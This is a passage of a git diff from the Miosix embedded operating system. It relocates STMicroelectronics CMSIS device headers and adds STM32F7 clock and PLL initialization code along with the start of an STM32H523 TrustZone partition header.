+// GPIOE->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PEx pins */ +// GPIOE->PUPDR = 0x00000000; +// +// /* Connect PFx pins to FMC Alternate function */ +// GPIOF->AFR[0] = 0xCCCCCCCC; +// GPIOF->AFR[1] = 0xCCCCCCCC; +// /* Configure PFx pins in Alternate function mode */ +// GPIOF->MODER = 0xAA800AAA; +// /* Configure PFx pins speed to 50 MHz */ +// GPIOF->OSPEEDR = 0xAA800AAA; +// /* Configure PFx pins Output type to push-pull */ +// GPIOF->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PFx pins */ +// GPIOF->PUPDR = 0x00000000; +// +// /* Connect PGx pins to FMC Alternate function */ +// GPIOG->AFR[0] = 0xCCCCCCCC; +// GPIOG->AFR[1] = 0xCCCCCCCC; +// /* Configure PGx pins in Alternate function mode */ +// GPIOG->MODER = 0xAAAAAAAA; +// /* Configure PGx pins speed to 50 MHz */ +// GPIOG->OSPEEDR = 0xAAAAAAAA; +// /* Configure PGx pins Output type to push-pull */ +// GPIOG->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PGx pins */ +// GPIOG->PUPDR = 0x00000000; +// +// /* Connect PHx pins to FMC Alternate function */ +// GPIOH->AFR[0] = 0x00C0CC00; +// GPIOH->AFR[1] = 0xCCCCCCCC; +// /* Configure PHx pins in Alternate function mode */ +// GPIOH->MODER = 0xAAAA08A0; +// /* Configure PHx pins speed to 50 MHz */ +// GPIOH->OSPEEDR = 0xAAAA08A0; +// /* Configure PHx pins Output type to push-pull */ +// GPIOH->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PHx pins */ +// GPIOH->PUPDR = 0x00000000; +// +// /* Connect PIx pins to FMC Alternate function */ +// GPIOI->AFR[0] = 0xCCCCCCCC; +// GPIOI->AFR[1] = 0x00000CC0; +// /* Configure PIx pins in Alternate function mode */ +// GPIOI->MODER = 0x0028AAAA; +// /* Configure PIx pins speed to 50 MHz */ +// GPIOI->OSPEEDR = 0x0028AAAA; +// /* Configure PIx pins Output type to push-pull */ +// GPIOI->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PIx pins */ +// GPIOI->PUPDR = 0x00000000; +// +// /*-- FMC Configuration ------------------------------------------------------*/ +// /* Enable the FMC interface clock */ +// RCC->AHB3ENR |= 0x00000001; +// RCC_SYNC(); +// /* Configure and enable SDRAM bank1 */ +// FMC_Bank5_6->SDCR[0] = 0x000019E0; +// FMC_Bank5_6->SDTR[0] = 0x01115351; +// +// /* SDRAM initialization sequence */ +// /* Clock enable command */ +// FMC_Bank5_6->SDCMR = 0x00000011; +// tmpreg = FMC_Bank5_6->SDSR & 0x00000020; +// while((tmpreg != 0) && (timeout-- > 0)) +// { +// tmpreg = FMC_Bank5_6->SDSR & 0x00000020; +// } +// +// /* Delay */ +// for (index = 0; index<1000; index++); +// +// /* PALL command */ +// FMC_Bank5_6->SDCMR = 0x00000012; +// timeout = 0xFFFF; +// while((tmpreg != 0) && (timeout-- > 0)) +// { +// tmpreg = FMC_Bank5_6->SDSR & 0x00000020; +// } +// +// /* Auto refresh command */ +// FMC_Bank5_6->SDCMR = 0x00000073; +// timeout = 0xFFFF; +// while((tmpreg != 0) && (timeout-- > 0)) +// { +// tmpreg = FMC_Bank5_6->SDSR & 0x00000020; +// } +// +// /* MRD register program */ +// FMC_Bank5_6->SDCMR = 0x00046014; +// timeout = 0xFFFF; +// while((tmpreg != 0) && (timeout-- > 0)) +// { +// tmpreg = FMC_Bank5_6->SDSR & 0x00000020; +// } +// +// /* Set refresh count */ +// tmpreg = FMC_Bank5_6->SDRTR; +// FMC_Bank5_6->SDRTR = (tmpreg | (0x0000027C<<1)); +// +// /* Disable write protection */ +// tmpreg = FMC_Bank5_6->SDCR[0]; +// FMC_Bank5_6->SDCR[0] = (tmpreg & 0xFFFFFDFF); +// #endif /* DATA_IN_ExtSDRAM */ +// #endif /* STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ +// +// #if defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx) || defined(STM32F417xx) || defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx) || defined(STM32F439xx) +// #if defined(DATA_IN_ExtSRAM) +// /*-- GPIOs Configuration -----------------------------------------------------*/ +// /* Enable GPIOD, GPIOE, GPIOF and GPIOG interface clock */ +// RCC->AHB1ENR |= 0x00000078; +// RCC_SYNC(); +// /* Connect PDx pins to FMC Alternate function */ +// GPIOD->AFR[0] = 0x00CCC0CC; +// GPIOD->AFR[1] = 0xCCCCCCCC; +// /* Configure PDx pins in Alternate function mode */ +// GPIOD->MODER = 0xAAAA0A8A; +// /* Configure PDx pins speed to 100 MHz */ +// GPIOD->OSPEEDR = 0xFFFF0FCF; +// /* Configure PDx pins Output type to push-pull */ +// GPIOD->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PDx pins */ +// GPIOD->PUPDR = 0x00000000; +// +// /* Connect PEx pins to FMC Alternate function */ +// GPIOE->AFR[0] = 0xC00CC0CC; +// GPIOE->AFR[1] = 0xCCCCCCCC; +// /* Configure PEx pins in Alternate function mode */ +// GPIOE->MODER = 0xAAAA828A; +// /* Configure PEx pins speed to 100 MHz */ +// GPIOE->OSPEEDR = 0xFFFFC3CF; +// /* Configure PEx pins Output type to push-pull */ +// GPIOE->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PEx pins */ +// GPIOE->PUPDR = 0x00000000; +// +// /* Connect PFx pins to FMC Alternate function */ +// GPIOF->AFR[0] = 0x00CCCCCC; +// GPIOF->AFR[1] = 0xCCCC0000; +// /* Configure PFx pins in Alternate function mode */ +// GPIOF->MODER = 0xAA000AAA; +// /* Configure PFx pins speed to 100 MHz */ +// GPIOF->OSPEEDR = 0xFF000FFF; +// /* Configure PFx pins Output type to push-pull */ +// GPIOF->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PFx pins */ +// GPIOF->PUPDR = 0x00000000; +// +// /* Connect PGx pins to FMC Alternate function */ +// GPIOG->AFR[0] = 0x00CCCCCC; +// GPIOG->AFR[1] = 0x000000C0; +// /* Configure PGx pins in Alternate function mode */ +// GPIOG->MODER = 0x00085AAA; +// /* Configure PGx pins speed to 100 MHz */ +// GPIOG->OSPEEDR = 0x000CAFFF; +// /* Configure PGx pins Output type to push-pull */ +// GPIOG->OTYPER = 0x00000000; +// /* No pull-up, pull-down for PGx pins */ +// GPIOG->PUPDR = 0x00000000; +// +// /*-- FMC/FSMC Configuration --------------------------------------------------*/ +// /* Enable the FMC/FSMC interface clock */ +// RCC->AHB3ENR |= 0x00000001; +// RCC_SYNC(); +// #if defined(STM32F427xx) || defined(STM32F437xx) || defined(STM32F429xx)|| defined(STM32F439xx) +// /* Configure and enable Bank1_SRAM2 */ +// FMC_Bank1->BTCR[2] = 0x00001011; +// FMC_Bank1->BTCR[3] = 0x00000201; +// FMC_Bank1E->BWTR[2] = 0x0fffffff; +// #endif /* STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ +// +// #if defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx)|| defined(STM32F417xx) +// /* Configure and enable Bank1_SRAM2 */ +// FSMC_Bank1->BTCR[2] = 0x00001011; +// FSMC_Bank1->BTCR[3] = 0x00000201; +// FSMC_Bank1E->BWTR[2] = 0x0FFFFFFF; +// #endif /* STM32F405xx || STM32F415xx || STM32F407xx || STM32F417xx */ +// +// #endif /* DATA_IN_ExtSRAM */ +// #endif /* STM32F405xx || STM32F415xx || STM32F407xx || STM32F417xx || STM32F427xx || STM32F437xx || STM32F429xx || STM32F439xx */ +// } +// #endif /* DATA_IN_ExtSRAM || DATA_IN_ExtSDRAM */ +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F4xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32F4xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F4xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32F4xx/miosix_patches.patch diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f722xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f722xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f722xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f722xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f723xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f723xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f723xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f723xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f730xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f730xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f730xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f730xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f732xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f732xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f732xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f732xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f733xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f733xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f733xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f733xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f745xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f745xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f745xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f745xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f746xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f746xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f746xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f746xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f750xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f750xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f750xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f750xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f756xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f756xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f756xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f756xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f765xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f765xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f765xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f765xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f767xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f767xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f767xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f767xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f769xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f769xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f769xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f769xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f777xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f777xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f777xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f777xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f779xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f779xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f779xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f779xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/stm32f7xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Include/system_stm32f7xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/LICENSE.md b/miosix/arch/CMSIS/Device/ST/STM32F7xx/LICENSE.md similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/LICENSE.md rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/LICENSE.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.cpp new file mode 100644 index 000000000..139457821 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.cpp @@ -0,0 +1,390 @@ +/** + ****************************************************************************** + * @file system_stm32f7xx.c + * @author MCD Application Team + * @brief CMSIS Cortex-M7 Device Peripheral Access Layer System Source File. + * + * This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32f7xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * + ****************************************************************************** + * @attention + * + *

© COPYRIGHT 2016 STMicroelectronics

+ * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * 3. Neither the name of STMicroelectronics nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32f7xx_system + * @{ + */ + +/** @addtogroup STM32F7xx_System_Private_Includes + * @{ + */ + +#include "board_settings.h" +//By TFT: was #include "stm32f7xx.h", but the specific chip is #defined in +//arch_registers_impl.h +#include "interfaces/arch_registers.h" + +#if !defined (HSI_VALUE) + #define HSI_VALUE ((uint32_t)16000000) /*!< Value of the Internal oscillator in Hz*/ +#endif /* HSI_VALUE */ + +/** + * @} + */ + +/** @addtogroup STM32F7xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F7xx_System_Private_Defines + * @{ + */ + +/************************* Miscellaneous Configuration ************************/ + +/*!< Uncomment the following line if you need to relocate your vector Table in + Internal SRAM. */ +/* #define VECT_TAB_SRAM */ +#define VECT_TAB_OFFSET 0x00 /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +/******************************************************************************/ + +/** + * @} + */ + +/** @addtogroup STM32F7xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F7xx_System_Private_Variables + * @{ + */ + + /* This variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ +//By TFT: we increase the clock BEFORE initializing .data and .bss! +uint32_t SystemCoreClock = miosix::cpuFrequency; +const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; +const uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4}; + +/** + * @} + */ + +/** @addtogroup STM32F7xx_System_Private_FunctionPrototypes + * @{ + */ + +//By TFT: added PLL initialization +static void SetSysClk(void); + +/** + * @} + */ + +/** @addtogroup STM32F7xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system + * Initialize the Embedded Flash Interface, the PLL and update the + * SystemFrequency variable. + * @param None + * @retval None + */ +void SystemInit(void) +{ + /* FPU settings ------------------------------------------------------------*/ + #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) + SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ + #else + #error "FPU disabled!" //By TFT: added a check to be really sure the FPU is on + #endif + /* Reset the RCC clock configuration to the default reset state ------------*/ + /* Set HSION bit */ + RCC->CR |= (uint32_t)0x00000001; + + /* Reset CFGR register */ + RCC->CFGR = 0x00000000; + + /* Reset HSEON, CSSON and PLLON bits */ + RCC->CR &= (uint32_t)0xFEF6FFFF; + + /* Reset PLLCFGR register */ + RCC->PLLCFGR = 0x24003010; + + /* Reset HSEBYP bit */ + RCC->CR &= (uint32_t)0xFFFBFFFF; + + /* Disable all interrupts */ + RCC->CIR = 0x00000000; + + //By TFT -- begin + SetSysClk(); + //NOTE: we don't enable caches here because different boards may want to do + //so or not depending on whether they have external memories for code and data + //By TFT -- end + + /* Configure the Vector Table location add offset address ------------------*/ +#ifdef VECT_TAB_SRAM + SCB->VTOR = RAMDTCM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ +#else + SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ +#endif +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) + * or HSI_VALUE(*) multiplied/divided by the PLL factors. + * + * (*) HSI_VALUE is a constant defined in stm32f7xx_hal_conf.h file (default value + * 16 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSE_VALUE is a constant defined in stm32f7xx_hal_conf.h file (default value + * 25 MHz), user has to ensure that HSE_VALUE is same as the real + * frequency of the crystal used. Otherwise, this function may + * have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * + * @param None + * @retval None + */ +void SystemCoreClockUpdate(void) +{ + uint32_t tmp = 0, pllvco = 0, pllp = 2, pllsource = 0, pllm = 2; + + /* Get SYSCLK source -------------------------------------------------------*/ + tmp = RCC->CFGR & RCC_CFGR_SWS; + + switch (tmp) + { + case 0x00: /* HSI used as system clock source */ + SystemCoreClock = HSI_VALUE; + break; + case 0x04: /* HSE used as system clock source */ + SystemCoreClock = miosix::hseFrequency; + break; + case 0x08: /* PLL used as system clock source */ + + /* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N + SYSCLK = PLL_VCO / PLL_P + */ + pllsource = (RCC->PLLCFGR & RCC_PLLCFGR_PLLSRC) >> 22; + pllm = RCC->PLLCFGR & RCC_PLLCFGR_PLLM; + + if (pllsource != 0) + { + /* HSE used as PLL clock source */ + pllvco = (miosix::hseFrequency / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); + } + else + { + /* HSI used as PLL clock source */ + pllvco = (HSI_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); + } + + pllp = (((RCC->PLLCFGR & RCC_PLLCFGR_PLLP) >>16) + 1 ) *2; + SystemCoreClock = pllvco/pllp; + break; + default: + SystemCoreClock = HSI_VALUE; + break; + } + /* Compute HCLK frequency --------------------------------------------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; + /* HCLK frequency */ + SystemCoreClock >>= tmp; +} + +//By TFT: added PLL initialization that was not present in the CMSIS code +void SetSysClk(void) +{ + uint32_t tmpreg = 0, timeout = 0xFFFF; + +/******************************************************************************/ +/* PLL (clocked by HSE) used as System clock source */ +/******************************************************************************/ + + static_assert(miosix::oscillatorType==miosix::OscillatorType::HSE, + "Unsupported oscillator type"); + static_assert(miosix::cpuFrequency==216000000,"Unsupported sysclk"); + //If possible, PLL input frequency set to 2MHz to reduce jitter as suggested + //by the datasheet. + const unsigned int PLL_M=miosix::hseFrequency%2000000 == 0 ? + miosix::hseFrequency/2000000 : miosix::hseFrequency/1000000; + const unsigned int PLL_Q=9; + const unsigned int PLL_R=7; + const unsigned int PLL_N=miosix::hseFrequency%2000000 == 0 ? 216 : 432; + const unsigned int PLL_P=2; + + /* Enable Power Control clock */ + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + + /* Config Voltage Scale 1 */ + PWR->CR1 |= PWR_CR1_VOS; + + /* Enable HSE */ + RCC->CR |= ((uint32_t)RCC_CR_HSEON); + + /* Wait till HSE is ready and if Time out is reached exit */ + do + { + tmpreg = RCC->CR & RCC_CR_HSERDY; + } while((tmpreg != RCC_CR_HSERDY) && (timeout-- > 0)); + + if(timeout != 0) + { + /* Select regulator voltage output Scale 1 mode */ + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + + PWR->CR1 |= PWR_CR1_VOS; + + /* Enable Over Drive to reach the 216MHz frequency */ + /* Enable ODEN */ + PWR->CR1 |= 0x00010000; + timeout = 0xFFFF; + /* Wait till ODR is ready and if Time out is reached exit */ + do + { + tmpreg = PWR->CSR1 & PWR_CSR1_ODRDY; + } while((tmpreg != PWR_CSR1_ODRDY) && (timeout-- > 0)); + + /* Enable ODSW */ + PWR->CR1 |= 0x00020000; + timeout = 0xFFFF; + /* Wait till ODR is ready and if Time out is reached exit */ + do + { + tmpreg = PWR->CSR1 & PWR_CSR1_ODSWRDY; + } while((tmpreg != PWR_CSR1_ODSWRDY) && (timeout-- > 0)); + + /* HCLK = SYSCLK / 1*/ + RCC->CFGR |= RCC_CFGR_HPRE_DIV1; + + /* PCLK2 = HCLK / 2*/ + RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; + + /* PCLK1 = HCLK / 4*/ + RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; + + /* Configure the main PLL */ + RCC->PLLCFGR = PLL_M | (PLL_N << 6) | (((PLL_P >> 1) -1) << 16) | + (RCC_PLLCFGR_PLLSRC_HSE) | (PLL_Q << 24) | (PLL_R << 28); + + /* Enable the main PLL */ + RCC->CR |= RCC_CR_PLLON; + } + /* Wait that PLL is ready */ + timeout = 0xFFFF; + do + { + tmpreg = (RCC->CR & RCC_CR_PLLRDY); + } while((tmpreg != RCC_CR_PLLRDY) && (timeout-- > 0)); + + if(timeout != 0) + { + /* Configure Flash prefetch, Instruction cache, Data cache and wait state */ + FLASH->ACR = FLASH_ACR_LATENCY_7WS; + + /* Select the main PLL as system clock source */ + RCC->CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL; + + timeout = 0xFFFF; + do + { + tmpreg = (RCC->CFGR & RCC_CFGR_SWS); + } while((tmpreg != RCC_CFGR_SWS_PLL) && (timeout-- > 0)); + } +} + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F7xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32F7xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F7xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32F7xx/miosix_patches.patch diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h523xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h523xx.h new file mode 100644 index 000000000..f6039818a --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h523xx.h @@ -0,0 +1,660 @@ +/** + ****************************************************************************** + * @file partition_stm32h523xx.h + * @author MCD Application Team + * @brief CMSIS STM32H523xx Device Header File for Initial Setup for Secure / + * Non-Secure Zones for ARMCM33 based on CMSIS CORE partition_ARMCM33.h + * Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32H523XX_H +#define PARTITION_STM32H523XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C03E000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C03FFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 